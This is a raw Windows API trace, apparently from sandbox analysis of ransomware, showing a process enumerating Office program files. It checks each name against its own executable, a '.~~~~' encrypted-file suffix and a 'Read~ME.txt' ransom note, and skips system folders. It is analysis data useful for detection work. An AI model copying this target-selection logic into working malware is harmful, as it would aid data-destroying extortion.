	[0069.354] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0069.354] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.354] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.354] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.354] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.354] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.354] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.354] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x2, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1
	[0069.354] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="Windows") returned -1
	[0069.354] lstrcmpW (lpString1="OFFICE.ODF", lpString2="oiikyy.exe") returned -1
	[0069.354] StrStrW (lpFirst="OFFICE.ODF", lpSrch=".~~~~") returned 0x0
	[0069.355] lstrcmpW (lpString1="OFFICE.ODF", lpString2="Read~ME.txt") returned -1
	[0069.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.355] GetCurrentThreadId () returned 0x618
	[0069.355] RtlWakeConditionVariable () returned 0x365f48
	[0069.355] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x2, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0
	[0069.355] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0069.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0069.355] GetCurrentThreadId () returned 0x618
	[0069.355] RtlWakeConditionVariable () returned 0x365f48
	[0069.355] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1
	[0069.355] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="Windows") returned -1
	[0069.355] lstrcmpW (lpString1="EXPSRV.DLL", lpString2="oiikyy.exe") returned -1
	[0069.355] StrStrW (lpFirst="EXPSRV.DLL", lpSrch=".~~~~") returned 0x0
	[0069.355] lstrcmpW (lpString1="EXPSRV.DLL", lpString2="Read~ME.txt") returned -1
	[0069.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.355] GetCurrentThreadId () returned 0x618
	[0069.355] RtlWakeConditionVariable () returned 0x365f48
	[0069.355] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1
	[0069.356] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="Windows") returned -1
	[0069.356] lstrcmpW (lpString1="EXP_PDF.DLL", lpString2="oiikyy.exe") returned -1
	[0069.356] StrStrW (lpFirst="EXP_PDF.DLL", lpSrch=".~~~~") returned 0x0
	[0069.356] lstrcmpW (lpString1="EXP_PDF.DLL", lpString2="Read~ME.txt") returned -1
	[0069.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.356] GetCurrentThreadId () returned 0x618
	[0069.356] RtlWakeConditionVariable () returned 0x365f48
	[0069.356] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1
	[0069.356] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="Windows") returned -1
	[0069.356] lstrcmpW (lpString1="EXP_XPS.DLL", lpString2="oiikyy.exe") returned -1
	[0069.356] StrStrW (lpFirst="EXP_XPS.DLL", lpSrch=".~~~~") returned 0x0
	[0069.356] lstrcmpW (lpString1="EXP_XPS.DLL", lpString2="Read~ME.txt") returned -1
	[0069.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.356] GetCurrentThreadId () returned 0x618
	[0069.356] RtlWakeConditionVariable () returned 0x365f48
	[0069.356] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1
	[0069.356] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="Windows") returned -1
	[0069.356] lstrcmpW (lpString1="FLTLDR.EXE", lpString2="oiikyy.exe") returned -1
	[0069.356] StrStrW (lpFirst="FLTLDR.EXE", lpSrch=".~~~~") returned 0x0
	[0069.357] lstrcmpW (lpString1="FLTLDR.EXE", lpString2="Read~ME.txt") returned -1
	[0069.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.357] GetCurrentThreadId () returned 0x618
	[0069.357] RtlWakeConditionVariable () returned 0x365f48
	[0069.357] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1
	[0069.357] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="Windows") returned -1
	[0069.357] lstrcmpW (lpString1="IACOM2.DLL", lpString2="oiikyy.exe") returned -1
	[0069.357] StrStrW (lpFirst="IACOM2.DLL", lpSrch=".~~~~") returned 0x0
	[0069.357] lstrcmpW (lpString1="IACOM2.DLL", lpString2="Read~ME.txt") returned -1
	[0069.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.357] GetCurrentThreadId () returned 0x618
	[0069.357] RtlWakeConditionVariable () returned 0x365f48
	[0069.357] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1
	[0069.357] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="Windows") returned -1
	[0069.357] lstrcmpW (lpString1="LICLUA.EXE", lpString2="oiikyy.exe") returned -1
	[0069.357] StrStrW (lpFirst="LICLUA.EXE", lpSrch=".~~~~") returned 0x0
	[0069.357] lstrcmpW (lpString1="LICLUA.EXE", lpString2="Read~ME.txt") returned -1
	[0069.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.357] GetCurrentThreadId () returned 0x618
	[0069.357] RtlWakeConditionVariable () returned 0x365f48
	[0069.357] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1
	[0069.357] lstrcmpiW (lpString1="MSO.DLL", lpString2="Windows") returned -1
	[0069.357] lstrcmpW (lpString1="MSO.DLL", lpString2="oiikyy.exe") returned -1
	[0069.358] StrStrW (lpFirst="MSO.DLL", lpSrch=".~~~~") returned 0x0
	[0069.358] lstrcmpW (lpString1="MSO.DLL", lpString2="Read~ME.txt") returned -1
	[0069.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.358] GetCurrentThreadId () returned 0x618
	[0069.358] RtlWakeConditionVariable () returned 0x365f48
	[0069.358] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1
	[0069.358] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="Windows") returned -1
	[0069.358] lstrcmpW (lpString1="MSOICONS.EXE", lpString2="oiikyy.exe") returned -1
	[0069.358] StrStrW (lpFirst="MSOICONS.EXE", lpSrch=".~~~~") returned 0x0
	[0069.358] lstrcmpW (lpString1="MSOICONS.EXE", lpString2="Read~ME.txt") returned -1
	[0069.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.358] GetCurrentThreadId () returned 0x618
	[0069.358] RtlWakeConditionVariable () returned 0x365f48
	[0069.358] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1
	[0069.358] lstrcmpiW (lpString1="MSORES.DLL", lpString2="Windows") returned -1
	[0069.358] lstrcmpW (lpString1="MSORES.DLL", lpString2="oiikyy.exe") returned -1
	[0069.358] StrStrW (lpFirst="MSORES.DLL", lpSrch=".~~~~") returned 0x0
	[0069.358] lstrcmpW (lpString1="MSORES.DLL", lpString2="Read~ME.txt") returned -1
	[0069.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.358] GetCurrentThreadId () returned 0x618
	[0069.358] RtlWakeConditionVariable () returned 0x365f48
	[0069.358] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1
	[0069.359] lstrcmpiW (lpString1="msoshext.dll", lpString2="Windows") returned -1
	[0069.359] lstrcmpW (lpString1="msoshext.dll", lpString2="oiikyy.exe") returned -1
	[0069.359] StrStrW (lpFirst="msoshext.dll", lpSrch=".~~~~") returned 0x0
	[0069.359] lstrcmpW (lpString1="msoshext.dll", lpString2="Read~ME.txt") returned -1
	[0069.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.359] GetCurrentThreadId () returned 0x618
	[0069.359] RtlWakeConditionVariable () returned 0x365f48
	[0069.359] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1
	[0069.359] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="Windows") returned -1
	[0069.359] lstrcmpW (lpString1="MSOXEV.DLL", lpString2="oiikyy.exe") returned -1
	[0069.359] StrStrW (lpFirst="MSOXEV.DLL", lpSrch=".~~~~") returned 0x0
	[0069.359] lstrcmpW (lpString1="MSOXEV.DLL", lpString2="Read~ME.txt") returned -1
	[0069.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.359] GetCurrentThreadId () returned 0x618
	[0069.359] RtlWakeConditionVariable () returned 0x365f48
	[0069.359] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1
	[0069.359] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="Windows") returned -1
	[0069.359] lstrcmpW (lpString1="MSOXMLED.EXE", lpString2="oiikyy.exe") returned -1
	[0069.359] StrStrW (lpFirst="MSOXMLED.EXE", lpSrch=".~~~~") returned 0x0
	[0069.359] lstrcmpW (lpString1="MSOXMLED.EXE", lpString2="Read~ME.txt") returned -1
	[0069.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.360] GetCurrentThreadId () returned 0x618
	[0069.360] RtlWakeConditionVariable () returned 0x365f48
	[0069.360] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1
	[0069.360] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="Windows") returned -1
	[0069.360] lstrcmpW (lpString1="MSOXMLMF.DLL", lpString2="oiikyy.exe") returned -1
	[0069.360] StrStrW (lpFirst="MSOXMLMF.DLL", lpSrch=".~~~~") returned 0x0
	[0069.360] lstrcmpW (lpString1="MSOXMLMF.DLL", lpString2="Read~ME.txt") returned -1
	[0069.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.360] GetCurrentThreadId () returned 0x618
	[0069.360] RtlWakeConditionVariable () returned 0x365f48
	[0069.360] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1
	[0069.360] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="Windows") returned -1
	[0069.360] lstrcmpW (lpString1="MSPTLS.DLL", lpString2="oiikyy.exe") returned -1
	[0069.360] StrStrW (lpFirst="MSPTLS.DLL", lpSrch=".~~~~") returned 0x0
	[0069.360] lstrcmpW (lpString1="MSPTLS.DLL", lpString2="Read~ME.txt") returned -1
	[0069.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.360] GetCurrentThreadId () returned 0x618
	[0069.360] RtlWakeConditionVariable () returned 0x365f48
	[0069.360] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1
	[0069.360] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2="Windows") returned -1
	[0069.360] lstrcmpW (lpString1="MSSOAP30.DLL", lpString2="oiikyy.exe") returned -1
	[0069.360] StrStrW (lpFirst="MSSOAP30.DLL", lpSrch=".~~~~") returned 0x0
	[0069.361] lstrcmpW (lpString1="MSSOAP30.DLL", lpString2="Read~ME.txt") returned -1
	[0069.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.361] GetCurrentThreadId () returned 0x618
	[0069.361] RtlWakeConditionVariable () returned 0x365f48
	[0069.361] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1
	[0069.361] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="Windows") returned -1
	[0069.361] lstrcmpW (lpString1="MUAUTH.CAB", lpString2="oiikyy.exe") returned -1
	[0069.361] StrStrW (lpFirst="MUAUTH.CAB", lpSrch=".~~~~") returned 0x0
	[0069.361] lstrcmpW (lpString1="MUAUTH.CAB", lpString2="Read~ME.txt") returned -1
	[0069.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.361] GetCurrentThreadId () returned 0x618
	[0069.361] RtlWakeConditionVariable () returned 0x365f48
	[0069.361] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1
	[0069.361] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="Windows") returned -1
	[0069.361] lstrcmpW (lpString1="MUOPTIN.DLL", lpString2="oiikyy.exe") returned -1
	[0069.361] StrStrW (lpFirst="MUOPTIN.DLL", lpSrch=".~~~~") returned 0x0
	[0069.361] lstrcmpW (lpString1="MUOPTIN.DLL", lpString2="Read~ME.txt") returned -1
	[0069.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.361] GetCurrentThreadId () returned 0x618
	[0069.361] RtlWakeConditionVariable () returned 0x365f48
	[0069.361] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1
	[0069.361] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="Windows") returned -1
	[0069.361] lstrcmpW (lpString1="Oarpmany.exe", lpString2="oiikyy.exe") returned -1
	[0069.362] StrStrW (lpFirst="Oarpmany.exe", lpSrch=".~~~~") returned 0x0
	[0069.362] lstrcmpW (lpString1="Oarpmany.exe", lpString2="Read~ME.txt") returned -1
	[0069.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0069.362] GetCurrentThreadId () returned 0x618
	[0069.362] RtlWakeConditionVariable () returned 0x365f48
	[0069.362] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1
	[0069.362] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="Windows") returned -1
	[0069.362] lstrcmpW (lpString1="ODBCMON.DLL", lpString2="oiikyy.exe") returned -1
	[0069.362] StrStrW (lpFirst="ODBCMON.DLL", lpSrch=".~~~~") returned 0x0
	[0069.362] lstrcmpW (lpString1="ODBCMON.DLL", lpString2="Read~ME.txt") returned -1
	[0069.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.362] GetCurrentThreadId () returned 0x618
	[0069.362] RtlWakeConditionVariable () returned 0x365f48
	[0069.362] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1
	[0069.362] lstrcmpiW (lpString1="Office Setup Controller", lpString2="Windows") returned -1
	[0069.362] lstrcmpW (lpString1="Office Setup Controller", lpString2=".") returned 1
	[0069.362] lstrcmpW (lpString1="Office Setup Controller", lpString2="..") returned 1
	[0069.362] lstrcmpW (lpString1="Office Setup Controller", lpString2="AppData") returned 1
	[0069.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller", lpSrch="AppData") returned 0x0
	[0069.362] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.362] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller", lpString2="C:\\Windows") returned -1
	[0069.362] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.362] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller", lpString2="C:\\System Volume Information") returned -1
	[0069.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b76e0
	[0069.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0073.260] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0073.260] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0073.260] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0073.260] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0073.260] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
